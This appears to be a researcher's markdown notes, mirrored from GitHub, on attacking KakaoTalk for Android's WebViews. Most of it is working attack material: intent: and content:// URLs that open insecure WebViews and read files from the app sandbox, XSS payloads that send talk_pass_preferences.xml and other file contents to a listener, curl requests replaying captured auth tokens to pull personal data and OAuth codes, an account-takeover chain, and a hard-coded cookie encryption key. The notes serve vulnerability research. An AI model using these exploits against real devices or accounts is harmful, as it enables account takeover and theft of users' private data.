mirror of
https://github.com/stulle123/kakaotalk_analysis.git
synced 2025-05-07 12:06:09 +00:00
20 KiB
20 KiB
WebView Recon
Goals
- Account takeover via phishing link
- File exfiltration from KakaoTalk's application sandbox via phishing link
Attack Vectors
- File load from insecure file locations
- Load data into WebViews via
intent:
scheme - HTTP(S) MITM
- Create a malicious
Plus Friend
orKakao Business
page or anOpen Chat Room
- Deep link parsing
- Deep link —> open insecure WebView —> MITM —> run arbitrary JS code
- Use the
intent:
scheme to start arbitrary components - Open attacker controlled website -> JS
- Try different URL schemes (e.g.,
javascript:
,intent:
,file://
,content://
,data://
, etc.)
- Phishing (e.g., steal credentials by showing a legitimate KakaoTalk page)
Findings
- Account takeover (only via MITM in the same network)
- Send malicious link
- Steal token
update_settings.json
-> change e-mail- Reset password
- Install KakaoTalk for Windows
- Login in with credentials
- Brute-force 4-digit pin
- Token leakage in HTTP request headers:
location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=http://10.0.2.2:8888/;end"
# Get phone number, e-mail address and other PII
curl -i -s -k -X $'GET' \
-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'Authorization: d587a91fdf4c4e008145ffcd2282485000000016872655885310012q2jUmqPL3w-295c990ec4b3470b9df03827b4a9e38b5caf17cfc010bb18abab9aee622ec5f8' -H $'C: 5eb095d6-11de-4eb6-9076-4f3f3941ec58' -H $'Connection: close' \
$'https://katalk.kakao.com/android/account/more_settings.json?os_version=30&model=SDK_GPHONE_ARM64&since=1678238174&lang=en&vc=2410170&email=2&adid=&adid_status=-1'
# Get friends
curl -i -s -k -X $'POST' \
-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.1.7 An/11 en' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'A: android/10.1.7/en' -H $'Adid: a42e75cd-19e5-43a5-a23b-d2390c100942' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 134' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
--data-binary $'removed_contacts=%5B%5D&add_friends_to_limit=false&phone_number_type=1&reset_contacts=true&type=a&manual=false&contacts=%5B%5D&token=0' \
$'https://katalk.kakao.com/android/friends/update.json'
# Update settings
curl -i -s -k -X $'POST' \
-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.1.7 An/11 en' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'A: android/10.1.7/en' -H $'C: 7db8c5a8-978c-4009-8ae0-87c1caf91562' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
--data-binary $'usim_same_numbers=%5B%22false%22%5D' \
$'https://katalk.kakao.com/android/account/update_settings.json'
# Get OAuth token
curl -i -s -k -X $'GET' \
-H $'Host: kauth.kakao.com' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'User-Agent: KT/10.1.7 An/11 en;KAKAOTALK' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
$'https://kauth.kakao.com/oauth/authorize?client_id=24b2ff717557a8090279253242652f80&redirect_uri=kakao24b2ff717557a8090279253242652f80%3A%2F%2Foauth&response_type=code'
curl -i -s -k -X $'POST' \
-H $'Host: kauth.kakao.com' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 271' -H $'Accept-Encoding: gzip, deflate' -H $'User-Agent: okhttp/4.9.3' -H $'Connection: close' \
--data-binary $'client_id=24b2ff717557a8090279253242652f80&code=pYn2ksN-KH8bIaCHp3OwiM98G5xgdzkEvIgA4HDBhUT-uVcrTXzHiEgp1vA1HrERSESLXQoqJY8AAAGI3iGODg&grant_type=authorization_code&android_key_hash=S2FrYW9JIE1hc3RlciBLZXkg&redirect_uri=kakao24b2ff717557a8090279253242652f80%3A%2F%2Foauth' \
$'https://kauth.kakao.com/oauth/token'
- I can MITM TLS connections. There's just a security warning in KakaoTalk's UI that the user can accept (no need to put a Burp CA cert into Android trusted CA store).
- I can start arbitrary components via the
intent:
scheme inCommerceBuyActivity
(kakaotalk://buy
)- I can exfiltrate files by sending Intents with
content://
URLs toMyProfileSettingsActivity
:
- I can exfiltrate files by sending Intents with
// Read Firebase Installation configuration
location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;end"
var data = document.querySelector('pre').innerHTML;
img = new Image();
img.src = 'http://10.0.2.2:8888?data=' + encodeURIComponent(data);
- I can open arbitrary URLs via
KGPopupActivity
,MyProfileSettingsActivity
andCommerceShopperWebViewActivity
:adb shell am start "intent:#Intent\;component=com.kakao.talk/.gametab.view.KGPopupActivity\;S.url=https://foo.com\;end"
location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=http://10.0.2.2:8888/;end"
location.href = "intent:#Intent;component=com.kakao.talk/com.kakao.talk.commerce.ui.shopper.CommerceShopperWebViewActivity;S.URL=https://foo.com;end"
InAppBrowserActivity
->kakaointernalweb://host/q?url=https://www.foo.com&spamType=0&isPlusType=true
BizInAppBrowserActivity
->kakaotalk://bizwebview/open?url=http://www.foo.com
- I can execute Javascript by:
- Pointing to attacker-controlled URLs
- Using the
data:
scheme, e.g.:location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=data%3Atext%2Fhtml%2C%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E;end"
- Using the
javascript:
scheme, e.g.:location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=javascript:alert%28%221%22%29;end"
- I can access
/storage
,/data/data/com.kakao.talk/files
,/data/data/com.kakao.talk/cache
directories by openingcontent:
URLs inMyProfileSettingsActivity
,KaKaoMailDocumentViewWebActivity
, and others, e.g.:location.href = "intent:#Intent;component=com.kakao.talk/.activity.kakaomail.KaKaoMailDocumentViewWebActivity;S.url=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;S.subContent=foo;end"
- Reading a cookie:
adb shell content read --uri "content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627"
- Using the
android-app:
scheme:adb shell am start "android-app://#Intent\;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity\;S.EXTRA_URL=content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627\;end"
- There are a couple of Javascript interfaces that access the user's location (see below)
- Auto-download to
/sdcard/Download
via Chrome (app://kakaotalk/openURL?url=
) - I can access other
BROWSABLE
Activities or Apps via theandroid-app:
scheme, e.g.:location.href = "android-app://com.google.android.googlequicksearchbox/https/www.google.com"
setWebContentsDebuggingEnabled
is enabled for most WebViews- XSS in
com.kakao.talk.activity.cscenter.CsCenterActivity
(search field)- https://cs.kakao.com/search?query=%3Cscript%3Ealert%281%29%3C%2Fscript%3E (you need to click into the search field)
To-Dos / Digging
Things to try out / dig deeper.
Tokens / Cookies
- What's this cookie? ->
/sdcard/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627
- Encrypted with a hard-coded password (
KaKAOtalkForever
) - Plaintext:
{"sid":"4322E936A4CC18FC7041C1DD53CAFB58934880D7F88D7A514613BC1035786F"}
- Java Class:
n50.b
/CookieFileUtils
- Encrypted with a hard-coded password (
- How is the
_maldive_oauth_webapp_session_key
token generated? Required for a couple of REST APIs, e.g.:
# Check password
curl -i -s -k -X $'POST' \
-H $'Host: auth.kakao.com' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: https://auth.kakao.com' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' -H $'Content-Length: 99' \
-b $'_maldive_oauth_webapp_session_key=0795170f93efe069384cedf7750c6a6d' \
--data-binary $'client_id=88215199793288849&lang=en&os=android&v=10.1.7&webview_v=2&password=kBB5mmmE&check_type=11' \
$'https://auth.kakao.com/kakao_accounts/check_password.json'
# Change password
curl -i -s -k -X $'POST' \
-H $'Host: auth.kakao.com' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: https://auth.kakao.com' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' -H $'Content-Length: 120' \
-b $'_maldive_oauth_webapp_session_key=0795170f93efe069384cedf7750c6a6d' \
--data-binary $'client_id=88215199793288849&lang=en&os=android&v=10.1.7&webview_v=2&password=kBB5mmmE&new_password=kBB5mmmE&reset_type=3' \
$'https://auth.kakao.com/kakao_accounts/check_restricted_password.json'
@JavascriptInterface
KvKakaoViewJavascriptInterface
->kakaoview
interfaceloadURL()
KvKakaoTalkJavascriptInterface
getCurrentLocation(String str)
BaseWebViewActivity
->webview
interfacesaveImage()
NamecardWebActivity
->saveImage()
JdSearchWebScriptInterface
->kakaoweb
interfacesaveImage()
requestLocationString(final String str)
JdSearchWebCardScriptInterface
->kakaotalk
interfacerequestLocation()
requestLocationWithParam(String str)
updateJson(String str)
VCBridgeJavascriptInterface
->vc
interface -> used inShakeWebActivity
checkKakaoCertAvailable(String str)
writeData()
readData()
DigitalDocsWebActivity
->digitalDocs
interfacewebview_mount()
(seems to load a URL)
KakaoBizWebJavascriptInterface
->kakaoBizWebExtensionNative
interfaceexecuteBizWebExtension()
kakaotalk://order
(KakaoOrderActivity
) ->kakaoTalk
interfacegetAuthorization()
getGeolocation()
listenSms()
openKakaoOrderFileChoose()
openKakaoOrderShortcut()
KakaoHairshopActivity
(kakaotalk://hairshop
) ->kakaoTalk
interfacegetAuthorization()
getGeolocation()
getGeolocationForce()
CommerceMakersActivity
(kakaotalk://makers
) ->kakaoTalk
interfaceopenExternalUrl(String str)
KGWebView
(kakaotalk://gamecenter
) ->Gametab
interfaceapi(String str, String str2, String str3)
-> available commands inKGWebViewCommands
classkgapi(String str, String str2, String str3
PlusHomeWebLayout
->kakaoTalk
interfacegetGeolocation()
getGeolocationForce()
isLocationAgreed()
CheckoutActivity
->kakaotalk
interfaceaddTalkChannel(long j)
SubscriptionIapWebActivity
->kakaoSubscription
interfacerequestInAppPurchase(String str)
PlusEventScriptInterface
copyClipboard(String str, String str2)
WebViewSignedLocationInterface
->native
interfacereqSignInLocation(String str, String str2)
KakaoTvPayJavascriptInterface
->kakaotv
interface -> used inKakaoTvPayActivity
purchaseItem(String str)
CSRF
- Test/check
kakaotalk://settings
- Interesting Activities:
ChangePhoneNumberActivity
com.kakao.talk.activity.setting.p134pc.PCSettingsActivity
com.kakao.talk.activity.setting.p134pc.PCSettingsAuthenticationNumberActivity
com.kakao.talk.activity.setting.DeleteAccountAgreementActivity
com.kakao.talk.activity.setting.DeleteAccountCheckOthersActivity
com.kakao.talk.activity.setting.DeleteAccountResultActivity
com.kakao.talk.activity.setting.EncryptionKeysInformationActivity
com.kakao.talk.activity.setting.EncryptionKeysInformationDetailActivity
com.kakao.talk.zzng.settings.MyPinSettingsActivity
File Access / Content Providers
- Investigate
FileDownloadHelperActivity
location.href = "intent:#Intent;component=com.kakao.talk/.activity.file.FileDownloadHelperActivity;action=com.kakao.talk.activity.file.FileDownloadHelperActivity.ACTION_FILE_OPEN;S.file_uri=file:///external_files/test.txt;end"
->Failed to find configured root that contains /external_files/test.txt
setAllowFileAccessFromFileURLs
- Create a JS file in
Download
folder (calledfoo.html
) foo.html
readsfile:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml
- Access
foo.html
file viacontent:
scheme in some Webview that supportssetAllowFileAccessFromFileURLs
XMLHttpRequest
still won't work -> not afile://
URL?- Need to be able to create/download files in/to
Download
folder
- Create a JS file in
- Cannot steal files from unprotected Content Providers that cannot be rendered in a Webview (e.g.,
LocalUser_DataStore.pref.preferences_pb
infiles
folder). Text files work fine:content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json
.CommerceShopperWebViewActivity
doesn't auto-download but also doesn't render binary files
DownloadListener.onDownloadStart
- Check
p21.e
/DownloaderTask
class (com.kakao.talk.widget.webview.WebViewHelper
->processDownload()
->C42792b.m9697b()
->DownloaderTask.m16277b()
)- TO-DO: Try path traversal
- Bypass
DownloaderTask
checks - Downloads files to
/sdcard/Download/
directory - Not able to overwrite files
- Play with
data:
URIs (data:[<mediatype>][;base64],<data>
)
- TO-DO: I might be able to force WebViews to auto-download files by pointing them to an attacker-controlled website. Required headers:
Content-Type: application/octet-stream
content-disposition: attachment; filename=foo.html
- Investigate
com.kakao.talk.widget.webview.WebViewHelper
class:downloadImagesToSdCard()
processDownload()
->C42792b.m9697b()
->DownloaderTask.m16277b()
Deeplinks
- Check
kakaolink://
links InAppBrowserActivity
->kakaotalk://inappbrowser
KakaoOrderActivity
(kakaotalk://order
)kakaotalk://store
- HTTP request to
store.kakaofriends.com
—> ChangeLocation
in HTTP Response Header to a different URL
- HTTP request to
KakaoHairshopActivity
(kakaotalk://hairshop
)KakaoStyleActivity
(kakaotalk://style
)BillingWebActivity
(kakaotalk://mywallet/go
)CommerceGiftActivity
(kakaotalk://gift/home?url=shortcut&input_channel_id=1017
)- Check
app://
links
- Check
CheckoutActivity
(kakaotalk://checkout/open?url=
)
Kakao Pay
- Set up Kakaopay —> Get Korean phone number / SIM card
kakaotalk://kakaopay/billgates?url=
kakaotalk://kakaopay/web?url=
kakaotalk://kakaopay/payweb?url=
kakaopay://payweb?url=
Misc
- Try to send intents to
com.kakao.talk.service.MessengerService
(viakakaotalk://buy
Webview) - Clicking on https://auth.kakao.com in the KakaoTalk UI leads to
KakaoAccountSettingsActivity
- Switch to a different Activity via
continue
parameter ->https://auth.kakao.com/kakao_accounts?continue=kakaotalk://main
- When opening
content:
URIs I end up in thenull
origin ->XMLHttpRequest
tohttp
scheme works here
Resources
- CORS and WebView API
- Intent Scheme
- Defcon WebView Training
- Android security checklist: WebView
- Reviewing Android Webviews fileAccess attack vectors
Appendix
Payloads
Test payloads:
<img src=1 onerror=\"alert(1);alert('XSS')\"/>
var x=new XMLHttpRequest(); x.open('GET', 'http://localhost:8000/', true); x.send();
<img src=1 onerror=\"var xhttp_comment = new XMLHttpRequest();xhttp_comment.open('GET', 'http://localhost:8000/', true);xhttp_comment.send();\"/>
Exfiltration payload:
<img src=1 onerror=\"
var xhttp_comment = new XMLHttpRequest();
xhttp_comment.onreadystatechange = function() {
if (this.readyState == 4) {
img = new Image();
img.src = 'http://10.0.2.2:8888?data=' + encodeURIComponent(this.responseText);
}
};
xhttp_comment.open('GET', 'file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml', true);
xhttp_comment.send();
\"/>
One-liner:
<img src=1 onerror=\" var x = new XMLHttpRequest(); x.onreadystatechange = function() { if (this.readyState == 4) { img = new Image(); img.src = 'http://localhost:8000?data=' + encodeURIComponent(this.responseText); } }; x.open('GET', 'file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml', true); x.send(); \"/>
KGPopupActivity
KGPopupActivity
(kakaotalk://gamecenter
)webViewSettings.setAllowFileAccessFromFileURLs(true);
webViewSettings.setAllowUniversalAccessFromFileURLs(true);
- Intent scheme allowed (but compontent and selector are set to null)
- There are
KG
,Kakao
andkakaoweb
JS APIs - JavaScript-Native Bridge
Gametab.api("talk/toolbar/show", '', '');
—> defined in classKGWebViewCommands
- Key for Kakaotalk Javascript SDK:
8fa1ffbc074c716c201ce0074d5f798e
Send intents in JS:
// Open Game Center (KGPopupActivity)
location.href = "intent://gamecenter#Intent;scheme=kakaotalk;end";
// Open Music Player
location.href = "intent:#Intent;action=com.kakao.talk.intent.action.OPEN_MUSIC_PLAYER;end"
// Open any URL in KakaoTalk browser
location.href = "intent:#Intent;action=foo;S.browser_fallback_url=https://foo.com;end"
Via ADB:
# Open Gift Store
adb shell am start "intent:#Intent\;component=com.kakao.talk/.commerce.ui.gift.CommerceGiftActivity\;end"
intent:
parsing observations:
- Intent scheme parsing happening in
URIController.d
methodparseUri.addCategory("android.intent.category.BROWSABLE");
parseUri.setSelector(null);
parseUri.setComponent(null);
action
is allowedpackage
opens the Playstoredata
part is parsed forhttp
andhttps
schemes- malformed
intent://
URL ->"about:blank"
WebView component=null
-> Google Settings Backup Activity